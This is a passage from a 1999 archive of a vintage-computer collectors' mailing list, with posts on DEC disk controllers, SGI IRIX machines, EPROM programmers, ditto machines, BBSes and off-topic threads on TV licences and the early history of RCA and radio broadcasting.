Shakespeare's work would have been improved by either typewriter or html. The quantity? Perhaps. - don From H.Davies at latrobe.edu.au Fri Jan 8 00:54:48 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:52 2005 Subject: DEC boards In-Reply-To: References: Message-ID: <4.1.19990108175258.00a09890@lucifer.its.latrobe.edu.au> At 09:26 PM 07-01-99 -0600, Paul Thompson wrote: >It booted from 5 1/4 floppies (at least mine did) and ran a OS dedicated >to serving disks to the VAX cluster. Like a larger/higher bandwith >multiple device version of DEC's DSSI disks. Well actually the DSSI disks are the slower cheaper nastier version of the HSC type disk controller. HSCs are no longer current hardware but the HSJ replacements really know how to get data to and from SCSI disk in a real hurry. Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From dastar at ncal.verio.com Fri Jan 8 01:51:08 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:52 2005 Subject: OT! Re: Message formats In-Reply-To: Message-ID: On Thu, 7 Jan 1999, Tony Duell wrote: > The license is for something like 'installing and operating a TV > receiver'. The money from it is used to fund the BBC. One license covers > all the TVs (and VCRs, etc) in use at one 'household'. A colour license > allows you to operate B/W TVs as well (but not vice versa of course). Yes > there are other terms, conditions and exceptions but that will do for now. I'm sorry, but I just gotta say, requiring a license to watch TV is something I would overthrow the government over. I've never heard of a more cockamamy tax. The way we fund public TV and radio in the U.S. is annoying (pledge drives) but they only last for a couple weeks until the necessary funds are accumulated and they only happen but once or twice a year (and I'm proud to say I pay my "membership" dues dutifully...public radio in the US is top notch). ObCC: Can't think of anything so screw it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From jonathan at canuck.com Fri Jan 8 02:35:36 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:39:52 2005 Subject: new to the list Message-ID: <199901080835.BAA03203@canuck.com> Hi, folks. I'm new in these parts, having been referred to the list during a quest for some (very) old Data I/O programming equipment. Before I stray from that subject, if anyone has any "Programming Paks" and accompanying socket adapters, I'd appreciate hearing from them by mail. I need a number of particular sets for 1702, 5204, and 6653 EPROMs. If'n anyone's interested, they're for an original Intel MCS-4 (4004) development system, National SC/MP, and Intersil 6100 (the pdp8-compatible one) respectively. I'd also like to hear from anyone who has or is familiar with any of these machines. After a couple of days lurking, I'm finding the endless discussion of Altair prices and email "formats" dreary. The former was a rather badly built piece of crap compared to the IMSAI (though we obviously have to acknowledge the Altair's historical importance - right BEHIND the Mark 8), and the latter has nothing to do with antique computers. I should think that the list owner should have clamped off that discussion some time ago. In other news, Miles O'Neal (meo@netads.com) queried: > I'd really like to get hold of a functioning > (or close) Compucolor or Intecolor from the > early 80s. The ones we used at Georgia Tech > were all in one unit (I think), a big color > monitor console sort of thing, like God's own > ADM3a, in technicolor. (I could be wrong, > but that's what I seem to remember.) I'd > prefer one with a disk drive. > > I think this was the coolest thing ever for > learning graphics stuff. > > Anyone have one a mere mortal can afford? I can't imagine why you'd want one. The big Intecolors were mildly interesting, but the 8-track cartridge tape drive was junk of the first order. The later Compucolor IIs (in the hacksawed portable television case with the 5" floppy where the tuner used to be) was one of the most unreliable hacks of the time. I serviced them circa 1980, and they were really bad news. One of the worst excuses for a roll-yer-own switcher I've ever seen, and nonexistent development software. Words of advice: If you want to learn graphics, go track down an SGI Indigo - the purple cube. They're down in the couple-of-hundred-bucks zone now, and one of the most elegantly built machines I've touched in almost 25 years in the biz. On the subject of home-supers, I'd be interested as well in hearing what's out there. We're anticipating getting our hands on a Cray YMP-EL/98 soon, and it appears there are a number of these air-cooled boxes being dumped in various parts of the world. Jonathan Levine From dpeschel at u.washington.edu Fri Jan 8 02:44:29 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:52 2005 Subject: new to the list In-Reply-To: <199901080835.BAA03203@canuck.com> from "Victor the Cleaner" at Jan 8, 99 01:35:36 am Message-ID: <199901080844.AAA23088@saul7.u.washington.edu> > After a couple of days lurking, I'm finding the endless discussion of Altair > prices and email "formats" dreary. The former was a rather badly built piece > of crap compared to the IMSAI (though we obviously have to acknowledge the > Altair's historical importance - right BEHIND the Mark 8), and the latter > has nothing to do with antique computers. I should think that the list owner > should have clamped off that discussion some time ago. Hi (from the list owner). :) I usually tell people to stop eventually, though I am rather lazy about it. Generally, I come down harder on the poltiical discussions. The Altair-price discussions are generally considered to be on topic, not just because they deal with classic computers, but because they deal with changes in the hobby of _collecting_ classic computers. If you've been looking at prices and available machines for any length of time, you can probably tell that it just isn't easy to pick up machines that used to be fairly readily available. (PDP-8's and -11's, for example.) Of course people usually counter by syaing, "But only lazy/desperate/moronic people buy from eBay exclusively!" This is true, but that doesn't mean the rise in prices is not an alarming trend. But if you're out to make money from collecting, as a few list members are, you may find it a welcome trend. Maybe I should start keeping a list of subjects that are on-topic by consensus, and those that are off-topic by consensus. -- Derek From yowza at yowza.com Fri Jan 8 03:02:16 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:52 2005 Subject: new to the list In-Reply-To: <199901080835.BAA03203@canuck.com> Message-ID: On Fri, 8 Jan 1999, Victor the Cleaner wrote: > particular sets for 1702, 5204, and 6653 EPROMs. If'n anyone's interested, > they're for an original Intel MCS-4 (4004) development system, National > SC/MP, and Intersil 6100 (the pdp8-compatible one) respectively. I'd also > like to hear from anyone who has or is familiar with any of these machines. Oh sure, just drop on in and casually mention your MCS-4, the most desirable SBC on the planet. Do you need docs? Hans P. might know where to find them. And Hans F. has a few SC/MP SBC's. And we all have handheld PDP-8's, so the Intersil is dull stuff. :-) > After a couple of days lurking, I'm finding the endless discussion of Altair > prices and email "formats" dreary. The former was a rather badly built piece > of crap compared to the IMSAI (though we obviously have to acknowledge the > Altair's historical importance - right BEHIND the Mark 8), Ah, the voice of reason. Now all you need to do is write a couple of books, produce a few TV documentaries, cut out Bill Gate's tongue, and we can finally put this Altair nonsense behind us. But give the Scelbi 8H some credit, will ya? -- Doug From foxvideo at wincom.net Fri Jan 8 07:18:12 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:39:52 2005 Subject: Americans (was: Re: Message formats) In-Reply-To: <802566F2.0048509D.00@PTECHNOTES02.PowerTech.co.uk> Message-ID: <3.0.5.32.19990108081812.0079aa30@mail.wincom.net> At 01:12 PM 1/7/1999 +0000, you wrote: > > > >Zane Healy wrote: > >> Again, how typically American! I'm starting to hate American's to the >> point I'm looking for another country to move to, since I'm embarrased to >> say that I'm an American myself. Anyone know any good countries that I >can >> move to, and not be embarassed to be associated with? The Internet is >not >> an American only thing! > > >I'd recommend Britain, except that we hate Americans too, and you might not >be too welcome ;-) > >Canada might be worth a try, though. > >Philip. The country is fine, but we always manage to elect nincompoops to govern it. Cheers Charlie Fox > > > > > > Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From rigdonj at intellistar.net Fri Jan 8 09:20:26 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:52 2005 Subject: Cosmic Rays, other Plasma, and finds In-Reply-To: References: <199901070802.AAA10499@lists5.u.washington.edu> Message-ID: <3.0.1.16.19990108092026.42af7252@intellistar.net> At 12:06 PM 1/7/99 -0600, you wrote: > On yet another topic: I spotted about a month ago (and finally >found my notes) the following gear at a local electronics shop (A-Tex, near >the airport in San Antonio, Texas). > >2 ea. HP 1615 A Logic Analyzer $31 >4 ea. HP 1610 B Logic Analyzer $31 >1 ea. Tek. 4105 Monitor $10 >1 ea. Tek. 4404 Monitor $10 >1 ea. Tek. 4025 Terminal $10 >1 ea. HP 1611A logic state analyzer $?? (not marked) > > Each unit was about the size of a CRT terminal. The 1611 looked >like it might be an in-circuit emulator for a Z-80 based on some other text >on it. Conditions all unknown, no probes or accessories or manuals. >Outsides were dirty and scarred, with some keycaps gone on the terminal. Don't bother with the LAs unless they have probes or you KNOW you can get some for a reasonable price. Probes are very hard to find and expensive. You can find manuals but they'll probably cost you ~ $50. Joe From zmerch at 30below.com Fri Jan 8 07:52:04 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:39:52 2005 Subject: new to the list In-Reply-To: <199901080835.BAA03203@canuck.com> Message-ID: <3.0.1.32.19990108085204.009479c0@mail.30below.com> Once upon a midnight dreary, Victor the Cleaner had spoken clearly: >Hi, folks. Hello. >After a couple of days lurking, I'm finding the endless discussion of Altair >prices and email "formats" dreary. The former was a rather badly built piece >of crap compared to the IMSAI (though we obviously have to acknowledge the >Altair's historical importance - right BEHIND the Mark 8), and the latter >has nothing to do with antique computers. I should think that the list owner >should have clamped off that discussion some time ago. Erm... we have a bit of an "alternative lifestyle" list 'round here; as the occasional off-topic thread is tolerated, but yes, once in a while things get a little out of hand on the list. Just "sort by headers" and delete en masse, is my motto. Really, despite the noise, IMNSHO there is *no* better place to be for getting information about classic computers. >In other news, > >Miles O'Neal (meo@netads.com) queried: > >> I'd really like to get hold of a functioning >> (or close) Compucolor or Intecolor from the >> early 80s. The ones we used at Georgia Tech >> were all in one unit (I think), a big color >> monitor console sort of thing, like God's own >> ADM3a, in technicolor. (I could be wrong, >> but that's what I seem to remember.) I'd >> prefer one with a disk drive. >I can't imagine why you'd want one. [snip] For the same reason some (many?) people here like their Commodore 64's & VIC-20's. _Personally_, I have no use for them (save a couple from the dumpster, but not even powered 'em up -- will be up for trade fodder soon) but for a lot of people on this list, they were their first computer. Sentimentality goes a *long* way on this list (which is his reason for owning the computer you don't want, BTW). Believe me, many folks are just as turned off by my RS/Tandys & Ataris & whatnot... but that's o.k. too. By List consensus, we've already figured out that *no-one* on the list is normal, so if _you_ are, you'll just have to learn to deal with strange flights-of-fancy... ;-) Hang in there, find the delete key, and I guarantee you you *will* learn a lot while being on this list. I have. Just my $0.02 USD (what's that in Euros??? ;-) Roger "Merch" Merchberger From Marty at itgonline.com Fri Jan 8 08:50:11 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:39:52 2005 Subject: OT! Re: Message formats Message-ID: <1999Jan08.094620.1767.178170@smtp.itgonline.com> At the risk of turning off our new list member I'll throw my USD $0.02 into the fray. Commercial vs non-commercial broadcasting was a hot topic back in the early 1920's when broadcasting first began on a large scale in the U.S. Many people were opposed to crass commercials for toothpaste, etc flooding the airwaves and wanted an alternative which would have took the form of a use tax as in England. Interesting but true, one of the first if not the first radio stations that was supported by commercials was WEAF in New York city, one of several commercial stations owned by Ma Bell (AT&T). The chain of stations owned by AT&T were sold to RCA to become NBC in 1926 following anti-trust suit threats and corporate fighting. AT&T and RCA basically had come to a 'gentleman's agreement.' Marty ______________________________ Reply Separator _________________________________ Subject: OT! Re: Message formats Author: classiccmp@u.washington.edu at internet Date: 1/8/99 2:53 AM On Thu, 7 Jan 1999, Tony Duell wrote: > The license is for something like 'installing and operating a TV > receiver'. The money from it is used to fund the BBC. One license covers > all the TVs (and VCRs, etc) in use at one 'household'. A colour license > allows you to operate B/W TVs as well (but not vice versa of course). Yes > there are other terms, conditions and exceptions but that will do for now. I'm sorry, but I just gotta say, requiring a license to watch TV is something I would overthrow the government over. I've never heard of a more cockamamy tax. The way we fund public TV and radio in the U.S. is annoying (pledge drives) but they only last for a couple weeks until the necessary funds are accumulated and they only happen but once or twice a year (and I'm proud to say I pay my "membership" dues dutifully...public radio in the US is top notch). ObCC: Can't think of anything so screw it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] ------ Message Header Follows ------ Received: from lists5.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan08.025325.1767.90243; Fri, 08 Jan 1999 02:53:26 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA12233; Thu, 7 Jan 1999 23:51:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA2 1758 for ; Thu, 7 Jan 1999 23:51:09 -0800 Received: from mailhub2.ncal.verio.com (mailhub2.ncal.verio.com [204.247.247.54]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA20 405 for ; Thu, 7 Jan 1999 23:51:09 -0800 Received: from shell1-n1 (dastar@shell1.ncal.verio.com [204.247.248.254]) by mailhub2.ncal.verio.com (8.8.7/8.8.7) with ESMTP id XAA06285 for ; Thu, 7 Jan 1999 23:51:08 -0800 (PST) Message-Id: Date: Thu, 7 Jan 1999 23:51:08 -0800 (PST) Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: Sam Ismail To: "Discussion re-collecting of classic computers" Subject: OT! Re: Message formats In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Discussion re-collecting of classic computers X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From ckaiser at oa.ptloma.edu Fri Jan 8 08:56:59 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:52 2005 Subject: KIM-1 serial nos, etc. In-Reply-To: from "John Lawson" at Jan 7, 99 10:10:19 pm Message-ID: <199901081456.GAA71116@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 753 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/a2d178cb/attachment.ksh From arfonrg at texas.net Fri Jan 8 09:22:53 1999 From: arfonrg at texas.net (Arfon Gryffydd) Date: Sun Feb 27 18:39:52 2005 Subject: Silicon Graphics Irix In-Reply-To: <4.1.19990107115859.00a3b650@mailhost.hq.freegate.com> References: <199901071928.LAA23792@oa.ptloma.edu> <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> Message-ID: <3.0.3.32.19990108092253.00924360@texas.net> I have a chance to grab some Silicon graphics Irix 31xx machines... They SEEM to need a boot tape. Anyone know anything about these boxes? What's the OS? From william at ans.net Fri Jan 8 09:55:53 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:52 2005 Subject: Silicon Graphics Irix In-Reply-To: <3.0.3.32.19990108092253.00924360@texas.net> Message-ID: > I have a chance to grab some Silicon graphics Irix 31xx machines... They > SEEM to need a boot tape. Anyone know anything about these boxes? What's > the OS? I have one, but it is tagged as a CDC Cyber 910. I also have a much bigger 2500T, but it does not work (major help needed, like rebuilding a Fujitsu Eagle!). You are going to want and OLD version of IRIX (around version 3), as these boxes were fairly quickly kicked off the support wagon (SGI seems to be kind of bad about that). These old things are not incredibly usefull Unix boxes, as X was never (to my knowledge) ported to them. The graphics are quite good even today, as it probably has a board stuffed with Geometry Engines. I do not have a boot tape. I need one, as well as one for the much bigger and later 4D/380 Powerseries box. William Donzelli william@ans.net From pechter at monmouth.com Fri Jan 8 10:11:37 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:52 2005 Subject: OFF TOPIC Radio comments... In-Reply-To: <1999Jan08.094620.1767.178170@smtp.itgonline.com> from Marty at "Jan 8, 99 09:50:11 am" Message-ID: <199901081611.LAA03385@pechter.ddns.org> OT followup follows... > > At the risk of turning off our new list member I'll throw my USD $0.02 > into the fray. Commercial vs non-commercial broadcasting was a hot > topic back in the early 1920's when broadcasting first began on a > large scale in the U.S. Many people were opposed to crass commercials > for toothpaste, etc flooding the airwaves and wanted an alternative > which would have took the form of a use tax as in England. > > Interesting but true, one of the first if not the first radio stations > that was supported by commercials was WEAF in New York city, one of > several commercial stations owned by Ma Bell (AT&T). The chain of > stations owned by AT&T were sold to RCA to become NBC in 1926 > following anti-trust suit threats and corporate fighting. AT&T and RCA > basically had come to a 'gentleman's agreement.' > > Marty Correct me if I'm wrong anywhere. WEAF became WNBC, the flagship of the now defunct NBC radio network. The network was sold of by General Electric ( -- who was stopped from buying RCA in the '30's by anti-trust issues -- ) to Westwood One which has now been partnering with Westinghouse (now the owner of CBS). WNBC was purchased by Infinity Broadcasting (is now a part of CBS Radio) which puts two historic radio competitors under one roof. Of course ABC was spun off from NBC which had both the RED and BLUE networks at one time... Bill From ddameron at earthlink.net Fri Jan 8 11:00:12 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:39:52 2005 Subject: OFF TOPIC Radio comments... Message-ID: <199901081700.JAA26152@snipe.prod.itd.earthlink.net> At 11:11 AM 1/8/99 -0500, Bill wrote: >OT followup follows... >WEAF became WNBC, the flagship of the now defunct NBC radio network. >The network was sold of by General Electric ( -- who was stopped from >buying RCA in the '30's by anti-trust issues -- ) to Westwood One >which has now been partnering with Westinghouse (now the owner of CBS). > Wasn't RCA started as some sort of "holding" company, that didn't manufacture products of their own? They first sold items made by (you guessed it) General Electric and Westinghouse. Later they acquired Cunningham who were also making vacuum tubes/valves and included them in the name "radiotrons" for them. -Dave From spc at armigeron.com Fri Jan 8 11:09:19 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:53 2005 Subject: Silicon Graphics Irix In-Reply-To: from "William Donzelli" at Jan 8, 99 10:55:53 am Message-ID: <199901081710.MAA18088@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 913 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/51c1bcb0/attachment.ksh From william at ans.net Fri Jan 8 11:15:10 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:53 2005 Subject: Silicon Graphics Irix In-Reply-To: <199901081710.MAA18088@armigeron.com> Message-ID: > If the systems in question are based upon the MIPS R3000, you can also get > IRIX 4.x. That has X (if you really need it). IRIX 3.x used NeWS for the > GUI, which is a very nice windowing system based upon Postscript of all > things. The old IRIS 31xx series was still Motorola based (68020). William Donzelli william@ans.net From Hans.Franke at mch20.sbs.de Fri Jan 8 12:34:24 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:53 2005 Subject: Message formats In-Reply-To: References: <199901070229.SAA15142@geocities.com> from "Max Eskin" at Jan 6, 99 09:29:13 pm Message-ID: <199901081735.RAA04308@nixpbe.pdb.sni.de> > > > Well, there's be a good reason for doing that in the UK. The license for > > > a colour TV is something like 4 times the cost of one for a black and > > > white TV. And the extra 'entertainment' might not be worth that much. > > TVs require licenses in the UK? What about if you buy a CRT and make your > > own? > The license is for something like 'installing and operating a TV > receiver'. The money from it is used to fund the BBC. One license covers > all the TVs (and VCRs, etc) in use at one 'household'. A colour license > allows you to operate B/W TVs as well (but not vice versa of course). Yes > there are other terms, conditions and exceptions but that will do for now. I still belive, if anything can be more complicated by using a form and a stamp (and 3 signatures and 2 more stamps) the British will have a proper form and a whole line of buerocrats to fill it :) (I love former british colonies - one trip to india needs at least 4 to 5 pages in my passport). In fact we have a simmilar system in Germany, but we only divide into radio and TV - But not B&W vs. colour - but you have to pay if your reciver is fine for the used frequency and modulation, in other words, if you have one of these TV (sound) able radios, you have to pay like for an TV - no matter if there is an picture or not - which leads to the fact that even a blind couple has to pay for the TV, when owning such a device (but they get also a reduced TV rate :). On the other hand it simplifies most of your questions - if a device is able to recive a TV signal and decode the data part, you pay. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 8 12:34:24 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: <4.1.19990107102813.00a5bea0@mailhost.hq.freegate.com> References: Message-ID: <199901081735.RAA04305@nixpbe.pdb.sni.de> > If we existed in the 40's and 50's we would probably all get the "Classic > Computer Newsletter" via First Class mail. In the 60's and 70's the "cool" > communication technology of choice was amateur radio. In the 80's many > GCCIs formed using dial up bulletin boards, and in the 90's the Internet > and SMTP mailing lists became the technology of choice. Don't you think that you also changed focus ? At one time you would have described yourself as an radio amateur, but now more as computer 'hobbyist' - not only the media has changed, also the message. With the interest for new medias, also your interest in the message changed (And when I say you, I talk also about myself, and changes I noticed). Over the years new interests develop, even if it looks only like a media change. Now here comes a difference in your society/club paradigma: They are often message based and not media. Let me explane, I'm also member in several historical societies for ralway (tram) history. These clubs are _very_ message (theme) orientated. Even when 'modern' technology like news, WWW, video, or what ever is available _and_ known to the members (often used in dayly business life) they are still comunicating thru you 40ish 'Classic-What-Ever-Newsletter' delivered by mail. Shure, today they are no longer produced with typewriters and Spiritusumdrucker (sorry missing word - a copyingdevice using special sheets and spirit for duplication), but rather on PCs or high class DTP stations, but thats just the tool. > I've participated in GCCIs using all of the above technologies and > experienced "community drift" in all of them. Community drift occurs when > members of the community begin to use a different technology base in > preference to the existing base for the commons. Once started the drift > tends to increase until the entire community has shifted. I don't know how > many radio operators I heard complaining about "why should I dial up some > BBS when we could just chat on 10 meters?" The answer was time shifting. > The move to the internet from BBSes was cost. Or you are changing your environment - if I look back, with every of these shifts, also some friends left, and I found new ones. Not every electronic geek changed to radio (with me) and not every radio amateur changed to computers (in the same way than I). BBSes have build a _new_ and different society, and have _not_ replaced radio - this replacement is strict personal - if I meet old friends, I'm sometimes _realy_ astonished about things that are still going on in the radio scene (And of course - never forget there is packed radio - who needs internet :) > The move from plain text to > HTML is being motivated by the ability to communicate more clearly. Move to HTML - why not - there is no big difference between *bold* and bold, since HTML is not a graphig layout language - But who the heck needs all this >FONT> stuff ? It's like when (GUI based) word processors became available - everybody was using italic bold capitals to say hello for a short time, but that sopped soon (only the PowerPoint guys need more time :) > I particularly liked the "you American's assume everyone has high speed > access" rant. I'm actually the worst kind of technocrat here because I'm > sitting right smack in the middle of the mecca of high tech and using > technologies that may never escape the San Francisco Bay area into the > mainstream. However, one need only compare that comment to the BBS'ers > comments of the FIDO days which went something like, "You guys are so > arrogant, you assume everyone has Internet access." to understand just how > irrelevant such a stance is. The world moves, no one understands this > better than computer collectors. Bandwidth demand is always bigger than bandwidth supply - just look at me, at home I have ISDN - poor 64 (or 128) K of transmission and the web is boooooring slow, if they use all this graphics. Shure, the connection is semi permanent, but slow (and somewhat expensive - 5c a minute, city tariff). > You *will* get high speed affordable internet access. You may get it much > later than other parts of the world but I can recognize a steam roller when > I see it. You got a telephone right? And then FAX machines etc, etc. The > world *will* move away from plain ASCII into something more expressive. Affordable isn't fast, and AFAI think text based communication with only a little or no controll over the display will still rule where the message is more important than the media - just remember radio - why they are still alive (and producing some _real_ good shows) when there is colour TV ? (No, I'n not talking about holerödulieö dudel music chanels :) Gruss H. -- Ich denke, also bin ich, also gut HRK From george at racsys.rt.rain.com Fri Jan 8 12:08:18 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:39:53 2005 Subject: Grid laptop backlight problem In-Reply-To: <199901081735.RAA04305@nixpbe.pdb.sni.de> Message-ID: I just recieved an old (Armored...Wow) Grid laptop that has a 386 inside. It seems to work with the exception of the backlighting. The backlight actually appears for a moment during the boot then goes out. The sliding switch on the left hand side of the screen appears to be the brightness but doesn't have any effect. In fact it feels real sloppy like it may not be driving the actual variable resister. Anybody think I'm close? George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com KD7DCX From dastar at ncal.verio.com Fri Jan 8 12:10:58 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: <199901081735.RAA04305@nixpbe.pdb.sni.de> Message-ID: On Fri, 8 Jan 1999, Hans Franke wrote: > Shure, today they are no longer produced with typewriters and > Spiritusumdrucker (sorry missing word - a copyingdevice using > special sheets and spirit for duplication), but rather on PCs > or high class DTP stations, but thats just the tool. Spiritusumdrucker! What a fantastic word! I think that would be a mimeograph? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From ckaiser at oa.ptloma.edu Fri Jan 8 12:21:38 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: from "Sam Ismail" at Jan 8, 99 10:10:58 am Message-ID: <199901081821.KAA30772@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 819 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/28bf917b/attachment.ksh From jruschme at hiway1.exit109.com Fri Jan 8 12:17:08 1999 From: jruschme at hiway1.exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: from Sam Ismail at "Jan 8, 99 10:10:58 am" Message-ID: <199901081817.NAA18748@hiway1.exit109.com> > On Fri, 8 Jan 1999, Hans Franke wrote: > > > Shure, today they are no longer produced with typewriters and > > Spiritusumdrucker (sorry missing word - a copyingdevice using > > special sheets and spirit for duplication), but rather on PCs > > or high class DTP stations, but thats just the tool. > > Spiritusumdrucker! What a fantastic word! I think that would be a > mimeograph? Actually, I think it's a Dittograph, the ones which produced the cool blue copies. <<>> From jim at calico.litterbox.com Fri Jan 8 13:37:58 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:39:53 2005 Subject: Sociology and Message formatting In-Reply-To: from "Sam Ismail" at Jan 08, 1999 10:10:58 AM Message-ID: <199901081937.MAA01550@calico.litterbox.com> > > Shure, today they are no longer produced with typewriters and > > Spiritusumdrucker (sorry missing word - a copyingdevice using > > special sheets and spirit for duplication), but rather on PCs > > or high class DTP stations, but thats just the tool. > > Spiritusumdrucker! What a fantastic word! I think that would be a > mimeograph? I always heard them called ditto machines. Print in blue ink that wipes off. We had them in grade school. We did NOT have a photocopier - they were apparently monstrously expensive to purchase and maintain at the time. By the time I got to high school inexpesive photocopiers were readily available, although we used the ditto machines even then. The photocopier was fine for short runs or things where copy quality was important. The ditto machine was faster and much cheaper per copy. Of course I'm sure the ink on the master and the solvent on the machine are carcinogens... (just kidding) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From sinasohn at ricochet.net Fri Jan 8 13:38:35 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:53 2005 Subject: That does not compute Message-ID: <3.0.16.19990108090442.3dff8ede@ricochet.net> At 03:24 PM 1/1/99 -0800, you wrote: >BBSes are, IMHO, a dying breed. However, they do still fulfill a niche >that the 'net does not. There are significant numbers of people who are Another niche is in local groups that want to provide a forum for their members, but cannot afford to provide net access for all its members. My local Atari club is one such group. Not all atari users in this area are on the net, so a 'net-only solution is not acceptable, and we can't afford to connect the BBS to the 'net. Mind you, it doesn't get used a lot... --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From cfandt at netsync.net Fri Jan 8 13:51:18 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:39:53 2005 Subject: "Non-manufacturers" Was: Re: OFF TOPIC Radio comments... In-Reply-To: <199901081700.JAA26152@snipe.prod.itd.earthlink.net> Message-ID: <4.1.19990108123634.00adaeb0@206.231.8.2> At 09:00 01/08/99 -0800, Dave Dameron wrote: >At 11:11 AM 1/8/99 -0500, Bill wrote: >>OT followup follows... > >>WEAF became WNBC, the flagship of the now defunct NBC radio network. >>The network was sold of by General Electric ( -- who was stopped from >>buying RCA in the '30's by anti-trust issues -- ) to Westwood One >>which has now been partnering with Westinghouse (now the owner of CBS). >> >Wasn't RCA started as some sort of "holding" company, that didn't >manufacture products of their own? They first sold items made by (you >guessed it) General Electric and Westinghouse. Later they acquired >Cunningham who were also making vacuum tubes/valves and included them in the >name "radiotrons" for them. Basically correct Dave. RCA was created in mid-October 1919 under the early-1919 ideas of President Wilson and the US Navy to head off the monopoly that American Marconi Company had in international wireless communication. American Marconi was controlled by Marconi Wireless Telegraph Company of Britain. There was a desire for a US-based wireless communications company -preferably a Government monopoly --later changed to a corporate monopoly-- to handle only commercial wireless communications. (Commercial international communication by wireless back then was the equivalent to the satelite and undersea cable communications we have today.) Hence, British Marconi was pursuaded to sell its stock in Amer. Marconi and General Electric was persuaded by the US Government to be the purchaser. Radio Corp. of Amer. was borne from this action by the Board of Trustees of GE with GE being the major stockholder. Amer. Marconi employees, products, patents, good will, etc. came under control of the new RCA in Nov. 1919. Products made by GE were sold by RCA exclusively. Later in 1920, Westinghouse bought RCA stock and began making equipment for sale under RCA name. Many, many more details are involved before, during and after what I described above had transpired. A few months later, the extremely sudden popularity of broadcast radio hit hard and fast. The so-called "Radio boom" as it was described. This was reputedly as a result of the broadcast of the Presidential Election Returns in Oct. 1920 over radio station KDKA in Pittsburgh which was owned by Westinghouse. Up to until 1929 over one thousand radio companies were believed to have been started and at least four thousand different radio models were sold -just in USA and Canada. RCA got into selling broadcast radios to the public and became a huge player once GE and Westy got broadcast radio designs off the drawing board in 1921. There were a couple of dozen other big players that came along in the 20's. Quite a few of the 1000 or so companies were small garage-based outfits not too much unlike how Steve Jobs and The Woz started their little company. The computer boom paralleled the radio boom in many 